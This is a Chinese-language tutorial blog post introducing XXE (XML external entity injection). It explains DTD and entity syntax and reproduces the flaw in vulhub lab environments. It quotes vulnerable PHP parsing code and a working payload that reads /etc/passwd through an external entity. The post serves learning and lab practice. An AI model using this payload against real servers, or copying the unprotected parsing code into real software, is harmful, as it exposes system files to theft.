XXE漏洞(XML外部实体注入)初探
XXE全称是——XML External Entity,也就是XML外部实体注入攻击,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。XXE漏洞危害还是挺大的,但我感觉现在不是很常见了,因为很多语言现在默认禁止加载外部实体了,从学习的角度了解XXE及其利用思路还是很有帮助的。
通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。
说到XML,肯定要提到DTD。DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。有了DTD文档,独立的应用程序,可以用最少的交互来交换和处理数据。 一个应用程序也可以使用DTD来确认从DTD收到的数据是有效的。
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM “文件名”>
DTD文档中有很多重要的关键字如下:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
而实体是什么呢?我觉得实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。实体按类型主要分为以下四种:
内置实体 ,字符实体,通用实体 ,参数实体 。
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
<!ENTITY 实体名称 “实体的值”>
外部实体:
<!ENTITY 实体名称 SYSTEM “URI”>
参数实体:
<!ENTITY % 实体名称 “实体的值”>或者<!ENTITY % 实体名称 SYSTEM “URI”>
除参数实体外实体+内部实体
<?xml version=“1.0” encoding=“utf-8”?><!DOCTYPE a[<!ENTITY name “Zgao”>]><foo><value>&name;</value></foo>
参数实体+外部实体
<?xml version=“1.0” encoding=“utf-8”?><!DOCTYPE a[<!ENTITY % name SYSTEM “file:///etc/passwd”>%name;]>
%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。因为xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,所以重点看下能引用哪些类型的外部实体。
外部实体即在DTD中使用,语法引用外部的实体,而非内部实体。
这张图我已经见过好多次了,主要的有file、http、https、ftp等等,不同的程序支持的不一样。那我们还是直接用vulhub上的漏洞环境来复现漏洞,先看SimpleXMLElement.php的代码。
<?php $data = file_get_contents('php://input'); $xml = new SimpleXMLElement($data); echo $xml->name;
从post接收数据,实例化一个xml对象,最后echo输出,也就是一个回显的xxe,直接执行payload。
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<root>
<name>&xxe;</name>
</root>
成功读取了/etc/passwd文件。接着看dom.php的代码。
<?php $data = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($data); print_r($dom);
这里使用DOMDocument来解析xml,但原理还是差不多的。
同样的payload,只是和上面的输出格式有些不同,同理simplexml_load_string.php也一样,就不截图了,因为上面的payload都是针对普通的xxe,对于无回显的xxe利用,我会在另一篇文章中分析。
赞赏微信赞赏支付宝赞赏
发表评论